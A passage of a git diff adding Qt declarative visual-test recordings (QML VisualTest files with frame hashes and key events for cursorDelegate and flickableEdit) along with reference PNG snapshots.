+ msec: 1168
+ hash: "6824708eb176a9cf92f241d4054800dd"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1184
+ hash: "e8e14dbba33578a36d9c69214333c537"
+ }
+ Frame {
+ msec: 1200
+ hash: "95c6e967f6f445748945c51943cf532f"
+ }
+ Frame {
+ msec: 1216
+ hash: "d145d4cbd0e3a98686b3bac1c5c17093"
+ }
+ Frame {
+ msec: 1232
+ hash: "09348a4108a585dd23c3a252a5c596f6"
+ }
+ Frame {
+ msec: 1248
+ hash: "55126f2c879771e1aa5ced51b54c827a"
+ }
+ Frame {
+ msec: 1264
+ hash: "ebb36a4c2fcb85107033ec2731fc5743"
+ }
+ Frame {
+ msec: 1280
+ hash: "0581a4432d4b3d0c1555a31e772c2575"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "b4030774f06935f1b43fc8f1a69e53a5"
+ }
+ Frame {
+ msec: 1312
+ hash: "655e1739c130888ff83a3b69bb0ab7e3"
+ }
+ Frame {
+ msec: 1328
+ hash: "99fc97c572e7c8949693b32910e6eefb"
+ }
+ Frame {
+ msec: 1344
+ hash: "e9c8bb13c2549047c05d671daa378496"
+ }
+ Frame {
+ msec: 1360
+ hash: "cb344e0d39b5b07ca7d094bf30ce9f53"
+ }
+ Frame {
+ msec: 1376
+ hash: "15ba6e62c693f2bf74bdf86668139985"
+ }
+ Frame {
+ msec: 1392
+ hash: "48133ec73eb9723059eb6e6af3139f2b"
+ }
+ Frame {
+ msec: 1408
+ hash: "0b19e777a04f03774f2d5f5398bdb10f"
+ }
+ Frame {
+ msec: 1424
+ hash: "fc41d9a9aedf9274a68b33603ed6ccd0"
+ }
+ Frame {
+ msec: 1440
+ hash: "fa6e65f0c835b12dc10463711bd73350"
+ }
+ Frame {
+ msec: 1456
+ hash: "25a02c3388e52df550a0332efde90fcd"
+ }
+ Frame {
+ msec: 1472
+ hash: "2390443be82acf291856be59fa18fc26"
+ }
+ Frame {
+ msec: 1488
+ hash: "2390443be82acf291856be59fa18fc26"
+ }
+ Frame {
+ msec: 1504
+ hash: "2390443be82acf291856be59fa18fc26"
+ }
+ Frame {
+ msec: 1520
+ hash: "2390443be82acf291856be59fa18fc26"
+ }
+ Frame {
+ msec: 1536
+ hash: "2390443be82acf291856be59fa18fc26"
+ }
+ Frame {
+ msec: 1552
+ hash: "2390443be82acf291856be59fa18fc26"
+ }
+ Frame {
+ msec: 1568
+ hash: "284cd356d551a048d4a000b90217ac72"
+ }
+ Frame {
+ msec: 1584
+ hash: "94fb20c3767e09d1b4254ee6122cf24e"
+ }
+ Frame {
+ msec: 1600
+ hash: "bfac920384425ce9f34505b44eceb523"
+ }
+ Frame {
+ msec: 1616
+ hash: "4a2d434efcb9a57f2013dc6b366e0e4e"
+ }
+ Frame {
+ msec: 1632
+ hash: "d0fbe98dc34c4bb0d1ceb7e4678cc1d5"
+ }
+ Frame {
+ msec: 1648
+ hash: "28ab147983a71e93e5610f53e14bd113"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "2e6ee60fe9ff07fa4558134e6b1d6da8"
+ }
+ Frame {
+ msec: 1680
+ hash: "f181e578e865981d7a2073080b381ec1"
+ }
+ Frame {
+ msec: 1696
+ hash: "d7c0558ea16829b52ea6d09814c301b9"
+ }
+ Frame {
+ msec: 1712
+ hash: "c9304cb66c04566cf4374b46ab85e6e7"
+ }
+ Frame {
+ msec: 1728
+ hash: "024dde64822afc9eea63974851fe57e1"
+ }
+ Frame {
+ msec: 1744
+ hash: "8e4520e95a8acc8f1d4b710c4a14898f"
+ }
+ Frame {
+ msec: 1760
+ hash: "6b271c3f1d9d49bbd80a8ee33f3fc09c"
+ }
+ Frame {
+ msec: 1776
+ hash: "eb76a46632856bf07b005cad2ba2f6ab"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "a29bd83f6b4e877f3c7b89c82dfcab54"
+ }
+ Frame {
+ msec: 1808
+ hash: "dca39b6b6fff5e4a6309e4c0e42811c0"
+ }
+ Frame {
+ msec: 1824
+ hash: "88ad3f9f638a97bed98f00ec7d78dfe4"
+ }
+ Frame {
+ msec: 1840
+ hash: "5697a705f36283213bbe4b5848baa764"
+ }
+ Frame {
+ msec: 1856
+ hash: "8850842afae3060a91d612f7b869fd48"
+ }
+ Frame {
+ msec: 1872
+ hash: "4f08dbd1cab0bfcc8b9f232d46cf42db"
+ }
+ Frame {
+ msec: 1888
+ hash: "f7df5b96d0983a918e3c81aa7bee3950"
+ }
+ Frame {
+ msec: 1904
+ hash: "b28681bcb414d428588acda377fef838"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1920
+ image: "cursorDelegate.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "5c154b54776ed555563d3e5196a8aedd"
+ }
+ Frame {
+ msec: 1952
+ hash: "ee64c0452b325880de3a4fea599c18cc"
+ }
+ Frame {
+ msec: 1968
+ hash: "0776e1557b2d32db1c7c43331c532331"
+ }
+ Frame {
+ msec: 1984
+ hash: "24b68da9a63bbf00ffffeca649f771fa"
+ }
+ Frame {
+ msec: 2000
+ hash: "00d49d91b51f5bd428c07e9be65f551a"
+ }
+ Frame {
+ msec: 2016
+ hash: "874d4b599cb92cd9160960e3b3af74e0"
+ }
+ Frame {
+ msec: 2032
+ hash: "00d49d91b51f5bd428c07e9be65f551a"
+ }
+ Frame {
+ msec: 2048
+ hash: "24b68da9a63bbf00ffffeca649f771fa"
+ }
+ Frame {
+ msec: 2064
+ hash: "0776e1557b2d32db1c7c43331c532331"
+ }
+ Frame {
+ msec: 2080
+ hash: "ee64c0452b325880de3a4fea599c18cc"
+ }
+ Frame {
+ msec: 2096
+ hash: "5c154b54776ed555563d3e5196a8aedd"
+ }
+ Frame {
+ msec: 2112
+ hash: "a5f90da82b51bc866648304a20a1dcd3"
+ }
+ Frame {
+ msec: 2128
+ hash: "b28681bcb414d428588acda377fef838"
+ }
+ Frame {
+ msec: 2144
+ hash: "f7df5b96d0983a918e3c81aa7bee3950"
+ }
+ Frame {
+ msec: 2160
+ hash: "4f08dbd1cab0bfcc8b9f232d46cf42db"
+ }
+ Frame {
+ msec: 2176
+ hash: "8850842afae3060a91d612f7b869fd48"
+ }
+ Frame {
+ msec: 2192
+ hash: "5697a705f36283213bbe4b5848baa764"
+ }
+ Frame {
+ msec: 2208
+ hash: "88ad3f9f638a97bed98f00ec7d78dfe4"
+ }
+ Frame {
+ msec: 2224
+ hash: "dca39b6b6fff5e4a6309e4c0e42811c0"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "a29bd83f6b4e877f3c7b89c82dfcab54"
+ }
+ Frame {
+ msec: 2256
+ hash: "7defd2ecefeb86b457a2ee76d97424ee"
+ }
+ Frame {
+ msec: 2272
+ hash: "ccf6d45e8822d72482d9b585909b612b"
+ }
+ Frame {
+ msec: 2288
+ hash: "996dddf091394513adda1b1f00bf0c68"
+ }
+ Frame {
+ msec: 2304
+ hash: "3cf94e90eddb4b0815762b89f58f8325"
+ }
+ Frame {
+ msec: 2320
+ hash: "ab9f876450526b37774c6c4a5794c7b1"
+ }
+ Frame {
+ msec: 2336
+ hash: "9109880e9201e92eb17ae87a3648dca7"
+ }
+ Frame {
+ msec: 2352
+ hash: "0e759f2f279057c1f4d1147be5b41214"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "d87bd14345c785cc7e78a5c5462b90ec"
+ }
+ Frame {
+ msec: 2384
+ hash: "77850031e012246dd967ac689e353eb3"
+ }
+ Frame {
+ msec: 2400
+ hash: "f1bd048cd9167a8f162d1c39aca4f7c1"
+ }
+ Frame {
+ msec: 2416
+ hash: "0fa030c5da23f23a0665a535e23b84a2"
+ }
+ Frame {
+ msec: 2432
+ hash: "af3a5f1982459164dfec26746172b0eb"
+ }
+ Frame {
+ msec: 2448
+ hash: "0de90659472b63dd41a5602197ff502e"
+ }
+ Frame {
+ msec: 2464
+ hash: "81e40abf91017614a52e03bb2474549f"
+ }
+ Frame {
+ msec: 2480
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 2512
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 2528
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 2544
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 2560
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 2576
+ hash: "e26dbfb26415b21198add56d5de02cb2"
+ }
+ Frame {
+ msec: 2592
+ hash: "fa2877a963417789b82170b32e0af7a0"
+ }
+ Frame {
+ msec: 2608
+ hash: "860b39f92c412a7d946f882d8f99d837"
+ }
+ Frame {
+ msec: 2624
+ hash: "d7b8c52aef183965a97d82a18b03ed94"
+ }
+ Frame {
+ msec: 2640
+ hash: "b1ce9cf0ebd8e1e783e5bd43bbd72072"
+ }
+ Frame {
+ msec: 2656
+ hash: "d214b419ec5b4cff8f877bdeb1b9ef96"
+ }
+ Frame {
+ msec: 2672
+ hash: "95e7057104508b3919d722d4befde7b7"
+ }
+ Frame {
+ msec: 2688
+ hash: "270489ec5da5bf9a93fa4e52f47a71f5"
+ }
+ Frame {
+ msec: 2704
+ hash: "46646e396ab0c1c20427dadd71d45ba9"
+ }
+ Frame {
+ msec: 2720
+ hash: "65e2fd167565f876310d56fa9203c118"
+ }
+ Frame {
+ msec: 2736
+ hash: "aff0da79bd9bd8c285139d7737a1316f"
+ }
+ Frame {
+ msec: 2752
+ hash: "bf264fe7d774a597a3ff0965d912fa90"
+ }
+ Frame {
+ msec: 2768
+ hash: "f00358343437f6e058848c7237601632"
+ }
+ Frame {
+ msec: 2784
+ hash: "88c9e1d58397a81ed23931c7fdae1e7d"
+ }
+ Frame {
+ msec: 2800
+ hash: "44d46b459f6bb89510e52b0d999fd499"
+ }
+ Frame {
+ msec: 2816
+ hash: "0c196a24c9ca7143d382688db678d855"
+ }
+ Frame {
+ msec: 2832
+ hash: "9df6d3d3b9981cb907ab89e65b743e97"
+ }
+ Frame {
+ msec: 2848
+ hash: "501a644d6cde64ad041b086e00fd3950"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2864
+ hash: "83f297406b1c6311da3a216024836d15"
+ }
+ Frame {
+ msec: 2880
+ image: "cursorDelegate.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "93f79f8717948bde8ee55c668af2d397"
+ }
+ Frame {
+ msec: 2912
+ hash: "881b5c2ccd0bbdaea4d61abbec600fc5"
+ }
+ Frame {
+ msec: 2928
+ hash: "be72fe7c27901db62f2dbd9a757e4838"
+ }
+ Frame {
+ msec: 2944
+ hash: "c83c973fb1253ccab333fb1e604155b8"
+ }
+ Frame {
+ msec: 2960
+ hash: "dd6072d204812c23e24db1e7a81c6f57"
+ }
+ Frame {
+ msec: 2976
+ hash: "fb342743dc5ab9ade2b8a48a2a11dc8f"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2992
+ hash: "fc8ede705bfe8f339fe47041c502b0d6"
+ }
+ Frame {
+ msec: 3008
+ hash: "00fa0306d3fdc7e384cfc0660a3a355d"
+ }
+ Frame {
+ msec: 3024
+ hash: "00fa0306d3fdc7e384cfc0660a3a355d"
+ }
+ Frame {
+ msec: 3040
+ hash: "fc8ede705bfe8f339fe47041c502b0d6"
+ }
+ Frame {
+ msec: 3056
+ hash: "fb342743dc5ab9ade2b8a48a2a11dc8f"
+ }
+ Frame {
+ msec: 3072
+ hash: "dd6072d204812c23e24db1e7a81c6f57"
+ }
+ Frame {
+ msec: 3088
+ hash: "c83c973fb1253ccab333fb1e604155b8"
+ }
+ Frame {
+ msec: 3104
+ hash: "be72fe7c27901db62f2dbd9a757e4838"
+ }
+ Frame {
+ msec: 3120
+ hash: "881b5c2ccd0bbdaea4d61abbec600fc5"
+ }
+ Frame {
+ msec: 3136
+ hash: "93f79f8717948bde8ee55c668af2d397"
+ }
+ Frame {
+ msec: 3152
+ hash: "1bb236db749ef514c00d0a3dd698d24f"
+ }
+ Frame {
+ msec: 3168
+ hash: "83f297406b1c6311da3a216024836d15"
+ }
+ Frame {
+ msec: 3184
+ hash: "3d284b4000d2849ed4af2f7c1b859492"
+ }
+ Frame {
+ msec: 3200
+ hash: "de315e6836334fd0a2da855f5be4ff30"
+ }
+ Frame {
+ msec: 3216
+ hash: "5ca117709284f4a1cbd64cdba4079340"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3232
+ hash: "308a4220f5c74fd56bd218cd695b9822"
+ }
+ Frame {
+ msec: 3248
+ hash: "4ac4e09e987f2ba9661ed52fb1bdf236"
+ }
+ Frame {
+ msec: 3264
+ hash: "9ffd39a8a540ec88ff2b20a16ef083ee"
+ }
+ Frame {
+ msec: 3280
+ hash: "4a36ed8e68811954fef171d5734ccbaf"
+ }
+ Frame {
+ msec: 3296
+ hash: "714a6231aca70cfa8e83ea71b7ae90dc"
+ }
+ Frame {
+ msec: 3312
+ hash: "1fa9e35449ee87c972e3189ad0651a68"
+ }
+ Frame {
+ msec: 3328
+ hash: "d602008fada2f4edb6ad00fe759f9db9"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3344
+ hash: "bf16cc38f109e761b5ac2b0c63a1a2fe"
+ }
+ Frame {
+ msec: 3360
+ hash: "30f26041533455ed92c4984f55e3c6ff"
+ }
+ Frame {
+ msec: 3376
+ hash: "5838d666902bc693de505522dad13254"
+ }
+ Frame {
+ msec: 3392
+ hash: "6c8ada09b627050e4340da6e8ddd646e"
+ }
+ Frame {
+ msec: 3408
+ hash: "b33cd5bbb90d435dd7ea3ab67bef88ee"
+ }
+ Frame {
+ msec: 3424
+ hash: "692d4029938c01044b4210958dd1ee7e"
+ }
+ Frame {
+ msec: 3440
+ hash: "7e2e55555ee2c7e172e61ddb6365355d"
+ }
+ Frame {
+ msec: 3456
+ hash: "87ca0584879b25336a1023ac3252fc9a"
+ }
+ Frame {
+ msec: 3472
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 3488
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 3504
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 3520
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 3536
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 3552
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 3568
+ hash: "8c6052eb4cf03d7742a73874d9f15285"
+ }
+ Frame {
+ msec: 3584
+ hash: "8a1b63c42867f87a1cf4b47944b3860a"
+ }
+ Frame {
+ msec: 3600
+ hash: "90712efd7c17b0ad33d2c2c02e9eaa97"
+ }
+ Frame {
+ msec: 3616
+ hash: "8099972420ffd03e2bfc3ea45918a543"
+ }
+ Frame {
+ msec: 3632
+ hash: "2b78b1179a34319c287a6659406e23c3"
+ }
+ Frame {
+ msec: 3648
+ hash: "ad9458ab4d6376c87350a2356c280f94"
+ }
+ Frame {
+ msec: 3664
+ hash: "a74bc230e310a2826b2fed962db22f7a"
+ }
+ Frame {
+ msec: 3680
+ hash: "bd72e8f4757050c41673a6f0d38f2285"
+ }
+ Frame {
+ msec: 3696
+ hash: "379bad4fa4b605cb6a16434bdb031e2b"
+ }
+ Frame {
+ msec: 3712
+ hash: "e144a8e9586f29f9b2f042b47e7739ae"
+ }
+ Frame {
+ msec: 3728
+ hash: "bd74c9e79bc1a88dd6a17a3aed21e368"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3744
+ hash: "144724168f42372e10ec6c39662a5ed8"
+ }
+ Frame {
+ msec: 3760
+ hash: "d8859888802e7b54e2d2a44cf252eb54"
+ }
+ Frame {
+ msec: 3776
+ hash: "20561e2faf7e8fe1d6337248e6cd5e94"
+ }
+ Frame {
+ msec: 3792
+ hash: "184cff262d1004ce702c117a6b5b9699"
+ }
+ Frame {
+ msec: 3808
+ hash: "61b156acacefa6e4f4ddd8adaca90d08"
+ }
+ Frame {
+ msec: 3824
+ hash: "0906852b1e62a936694a22d6ffa4f5dd"
+ }
+ Frame {
+ msec: 3840
+ image: "cursorDelegate.3.png"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3856
+ hash: "cc0fb2ae2dd1ccad94c453bc4c4b6d32"
+ }
+ Frame {
+ msec: 3872
+ hash: "6a6baee5ca76d331c47fca4d0f7168e5"
+ }
+ Frame {
+ msec: 3888
+ hash: "32032d7ce55af41c97ac5bf33aca40bb"
+ }
+ Frame {
+ msec: 3904
+ hash: "a8781226e5e494324a34e120aa446cd1"
+ }
+ Frame {
+ msec: 3920
+ hash: "0dd5df088fcc0228a97ffe715c95e2b6"
+ }
+ Frame {
+ msec: 3936
+ hash: "774b161fe9645bc69b89e580b3e41f71"
+ }
+ Frame {
+ msec: 3952
+ hash: "5756d7ffd8ff656db54f4329ea909553"
+ }
+ Frame {
+ msec: 3968
+ hash: "2b4a5c97ff4d8792a7706bb78385ec35"
+ }
+ Frame {
+ msec: 3984
+ hash: "f9765e4def564b64861402e1a873b169"
+ }
+ Frame {
+ msec: 4000
+ hash: "287b07ef6288dcea13fffd2b95aafd54"
+ }
+ Frame {
+ msec: 4016
+ hash: "7abcb9d6cf223c1655f6265f780a321a"
+ }
+ Frame {
+ msec: 4032
+ hash: "287b07ef6288dcea13fffd2b95aafd54"
+ }
+ Frame {
+ msec: 4048
+ hash: "f9765e4def564b64861402e1a873b169"
+ }
+ Frame {
+ msec: 4064
+ hash: "2b4a5c97ff4d8792a7706bb78385ec35"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4080
+ hash: "5756d7ffd8ff656db54f4329ea909553"
+ }
+ Frame {
+ msec: 4096
+ hash: "774b161fe9645bc69b89e580b3e41f71"
+ }
+ Frame {
+ msec: 4112
+ hash: "0dd5df088fcc0228a97ffe715c95e2b6"
+ }
+ Frame {
+ msec: 4128
+ hash: "a8781226e5e494324a34e120aa446cd1"
+ }
+ Frame {
+ msec: 4144
+ hash: "32032d7ce55af41c97ac5bf33aca40bb"
+ }
+ Frame {
+ msec: 4160
+ hash: "6a6baee5ca76d331c47fca4d0f7168e5"
+ }
+ Frame {
+ msec: 4176
+ hash: "cc0fb2ae2dd1ccad94c453bc4c4b6d32"
+ }
+ Frame {
+ msec: 4192
+ hash: "2d1b406be294727a278ba6bbc97be62a"
+ }
+ Frame {
+ msec: 4208
+ hash: "0906852b1e62a936694a22d6ffa4f5dd"
+ }
+ Frame {
+ msec: 4224
+ hash: "61b156acacefa6e4f4ddd8adaca90d08"
+ }
+ Frame {
+ msec: 4240
+ hash: "184cff262d1004ce702c117a6b5b9699"
+ }
+ Frame {
+ msec: 4256
+ hash: "20561e2faf7e8fe1d6337248e6cd5e94"
+ }
+ Frame {
+ msec: 4272
+ hash: "d8859888802e7b54e2d2a44cf252eb54"
+ }
+ Frame {
+ msec: 4288
+ hash: "144724168f42372e10ec6c39662a5ed8"
+ }
+ Frame {
+ msec: 4304
+ hash: "d2da36fbf73289f545133bd608af66a2"
+ }
+ Frame {
+ msec: 4320
+ hash: "b1d7da6b42a31bba91148ab37b111945"
+ }
+ Frame {
+ msec: 4336
+ hash: "6f226a3b20d95e17df69e2c4e5aff3d1"
+ }
+ Frame {
+ msec: 4352
+ hash: "1109da0f043a9418661fc05e53fe3b45"
+ }
+ Frame {
+ msec: 4368
+ hash: "f3e901db9efd1d9fadf1cb6858040d51"
+ }
+ Frame {
+ msec: 4384
+ hash: "c8e50c0e924b11a3f1943abb9a4008a4"
+ }
+ Frame {
+ msec: 4400
+ hash: "431226a27488ed1dba237de3d43f94c5"
+ }
+ Frame {
+ msec: 4416
+ hash: "420d316430c84f10d7cd24d29b918149"
+ }
+ Frame {
+ msec: 4432
+ hash: "ccbd4d1e4865ebd9b0fe923e6ab05e5c"
+ }
+ Frame {
+ msec: 4448
+ hash: "231bff73758a1c6f7c7c0365159ba3e6"
+ }
+ Frame {
+ msec: 4464
+ hash: "d1ac7ceda7303bbf3392d33f47037ed6"
+ }
+ Frame {
+ msec: 4480
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4496
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4512
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4528
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4544
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4560
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 4576
+ hash: "a2ad07326fafcb3012cdb869f39af466"
+ }
+ Frame {
+ msec: 4592
+ hash: "8622eb25a6da44926b5161bce213a483"
+ }
+ Frame {
+ msec: 4608
+ hash: "fe563aa9dae9655871f82a779063cdbd"
+ }
+ Frame {
+ msec: 4624
+ hash: "775cd79b012f79b773449a0ad8457149"
+ }
+ Frame {
+ msec: 4640
+ hash: "01e9fab344a148a0877a7332d561be5a"
+ }
+ Frame {
+ msec: 4656
+ hash: "935566d139599a30197850774fb059ba"
+ }
+ Frame {
+ msec: 4672
+ hash: "4aae1ac532624417decddd978f516b6e"
+ }
+ Frame {
+ msec: 4688
+ hash: "34dc78df6e9941988712c1f8f79c3db0"
+ }
+ Frame {
+ msec: 4704
+ hash: "23a96c11d5917c44bd48239ed2b5777f"
+ }
+ Frame {
+ msec: 4720
+ hash: "f8f13e097eae3152db3ccebff1343fe0"
+ }
+ Frame {
+ msec: 4736
+ hash: "02f8fca7c4ab80ecf425e4b39e966b86"
+ }
+ Frame {
+ msec: 4752
+ hash: "c3356367750e797ff81bc4102f948134"
+ }
+ Frame {
+ msec: 4768
+ hash: "7b5de3772b8bcb4b10f3d265d5603afb"
+ }
+ Frame {
+ msec: 4784
+ hash: "ed3c741639232377f61867fd353ce58a"
+ }
+ Frame {
+ msec: 4800
+ image: "cursorDelegate.4.png"
+ }
+ Frame {
+ msec: 4816
+ hash: "5ca117709284f4a1cbd64cdba4079340"
+ }
+ Frame {
+ msec: 4832
+ hash: "de315e6836334fd0a2da855f5be4ff30"
+ }
+ Frame {
+ msec: 4848
+ hash: "3d284b4000d2849ed4af2f7c1b859492"
+ }
+ Frame {
+ msec: 4864
+ hash: "83f297406b1c6311da3a216024836d15"
+ }
+ Frame {
+ msec: 4880
+ hash: "1bb236db749ef514c00d0a3dd698d24f"
+ }
+ Frame {
+ msec: 4896
+ hash: "93f79f8717948bde8ee55c668af2d397"
+ }
+ Frame {
+ msec: 4912
+ hash: "881b5c2ccd0bbdaea4d61abbec600fc5"
+ }
+ Frame {
+ msec: 4928
+ hash: "be72fe7c27901db62f2dbd9a757e4838"
+ }
+ Frame {
+ msec: 4944
+ hash: "c83c973fb1253ccab333fb1e604155b8"
+ }
+ Frame {
+ msec: 4960
+ hash: "dd6072d204812c23e24db1e7a81c6f57"
+ }
+ Frame {
+ msec: 4976
+ hash: "fb342743dc5ab9ade2b8a48a2a11dc8f"
+ }
+ Frame {
+ msec: 4992
+ hash: "fc8ede705bfe8f339fe47041c502b0d6"
+ }
+ Frame {
+ msec: 5008
+ hash: "00fa0306d3fdc7e384cfc0660a3a355d"
+ }
+ Frame {
+ msec: 5024
+ hash: "00fa0306d3fdc7e384cfc0660a3a355d"
+ }
+ Frame {
+ msec: 5040
+ hash: "fc8ede705bfe8f339fe47041c502b0d6"
+ }
+ Frame {
+ msec: 5056
+ hash: "fb342743dc5ab9ade2b8a48a2a11dc8f"
+ }
+ Frame {
+ msec: 5072
+ hash: "dd6072d204812c23e24db1e7a81c6f57"
+ }
+ Frame {
+ msec: 5088
+ hash: "c83c973fb1253ccab333fb1e604155b8"
+ }
+ Frame {
+ msec: 5104
+ hash: "be72fe7c27901db62f2dbd9a757e4838"
+ }
+ Frame {
+ msec: 5120
+ hash: "881b5c2ccd0bbdaea4d61abbec600fc5"
+ }
+ Frame {
+ msec: 5136
+ hash: "93f79f8717948bde8ee55c668af2d397"
+ }
+ Frame {
+ msec: 5152
+ hash: "1bb236db749ef514c00d0a3dd698d24f"
+ }
+ Frame {
+ msec: 5168
+ hash: "83f297406b1c6311da3a216024836d15"
+ }
+ Frame {
+ msec: 5184
+ hash: "3d284b4000d2849ed4af2f7c1b859492"
+ }
+ Frame {
+ msec: 5200
+ hash: "de315e6836334fd0a2da855f5be4ff30"
+ }
+ Frame {
+ msec: 5216
+ hash: "5ca117709284f4a1cbd64cdba4079340"
+ }
+ Frame {
+ msec: 5232
+ hash: "4f0d49aff27a1c83287d38e760c10f16"
+ }
+ Frame {
+ msec: 5248
+ hash: "ed3c741639232377f61867fd353ce58a"
+ }
+ Frame {
+ msec: 5264
+ hash: "7b5de3772b8bcb4b10f3d265d5603afb"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png
new file mode 100644
index 00000000..431bed84
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png
new file mode 100644
index 00000000..d8d6bac2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png
new file mode 100644
index 00000000..27e02e5c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png
new file mode 100644
index 00000000..00549b39
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png
new file mode 100644
index 00000000..5c2a8854
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png
new file mode 100644
index 00000000..5c2a8854
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png
new file mode 100644
index 00000000..fd7f0104
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml
new file mode 100644
index 00000000..dff54520
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/flickableEdit.qml
@@ -0,0 +1,3551 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickableEdit.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 48
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 64
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
+ }
+ Frame {
+ msec: 80
+ hash: "a5480e4c53bbd8c58aa2d574c7644871"
